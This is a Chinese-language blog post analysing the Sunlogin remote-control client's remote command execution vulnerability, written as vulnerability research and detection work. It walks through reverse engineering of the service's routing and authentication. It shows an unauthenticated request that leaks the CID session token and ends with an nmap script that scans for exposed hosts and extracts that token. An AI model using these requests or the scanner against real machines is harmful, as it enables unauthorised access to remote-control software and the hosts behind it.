向日葵RCE漏洞复现分析

  1. 复现环境
  2. 复现过程

复现基本参考:space老哥的《向日葵远程命令执行漏洞分析》

复现环境

漏洞范围:小于或等于11.x
复现的版本:11.0.0.33162

复现过程

这里跟踪了check接口、路由接口、认证接口这三个
首先脱壳,向日葵加了UPX,upx -d脱掉即可

向日葵对应的端口,找到SunloginService服务的PID在找端口即可

向日葵在启动的时候会开启该服务,端口绑定在服务里(没更)。向日葵的端口大概是4w-5w

根据PDF里的先获取CID才能后续利用,open IDA shift+F12搜索CID

(先连接一次向日葵然后在log里可以看到CID,对应log位置:SunloginClient\log\sunlogin_service.<日期>.log)

根据PDF里的访问/cgi-bin/rpc可以未授权获取到CID。找到路由可以看到对应的处理函数(sub_140E216BA->找到该函数的方法上面提到的搜索CID字符串跟入其中一个函数在上级便是路由)
(懒得截图了,处理函数是sub_140E1C954)

当满足action=verify-haras会返回verify_string而和CID对比两者一致

当为action为fast-login,是识别码和本地验证码的处理,认证成功后也可以获取CID

参数需要:action=fast-login&fastcode=<本地识别码>&verify_string=<本地验证码>&use_custom_password=1

也可以通过login.cgi验证获取CID

check接口RCE
获取cmd值后,判断是否存在ping命令然后跳到LABEL_27,调用sub_140E20B64执行命令

认证接口
回到路由,跟踪上一级(或者搜索:{“success”:false,”msg”:”Verification failure”}定位)

可以看到判断cookie是否存在和CID的赋值,最后传入v132判断CID是否正确

如果是请求路径是下面其中一个则会进入到sub_14061D284(也就是刚刚的路由)

nmap检测脚本:

local http=require "http"
local shortport=require "shortport"
local stdnse=require "stdnse"
local string=require "string"
local vulns=require "vulns"
local json=require "json"


portrule=function(host,port)
        if (port.state=="open") and (port.protocol=="tcp") then
                return true
        end
end


action=function(host,port)
        local status=stdnse.output_table()
        local url=string.format("http://%s:%s",host.ip,port.number)
        local banner="{\"success\":false,\"msg\":\"Verification failure\"}"
        local headers={header={}}
        headers["header"]["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0"
        local rqt=http.get_url(url,headers)
        if (rqt.status==200) and (string.match(rqt.body,banner)) then
                status.banner="SunloginClient"
                local uri="/cgi-bin/rpc"
                local postdata="action=verify-haras"
                local cid_check=http.post(host,port,uri,nil,true,postdata)
                if(cid_check.status==200) then
                        local json_check,json_data=json.parse(cid_check.body)
                        if (json_data["enabled"]=="1") then
                                status.rce="YES"
                                status.cid=json_data["verify_string"]
                        end
                end
                if (status~=nil) then
                        return status
                end
        end
end


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:向日葵RCE漏洞复现分析

本文作者:九世

发布时间:2022-02-17, 23:45:27

最后更新:2022-02-19, 13:45:14

原始链接:http://422926799.github.io/posts/c5ac22a4.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录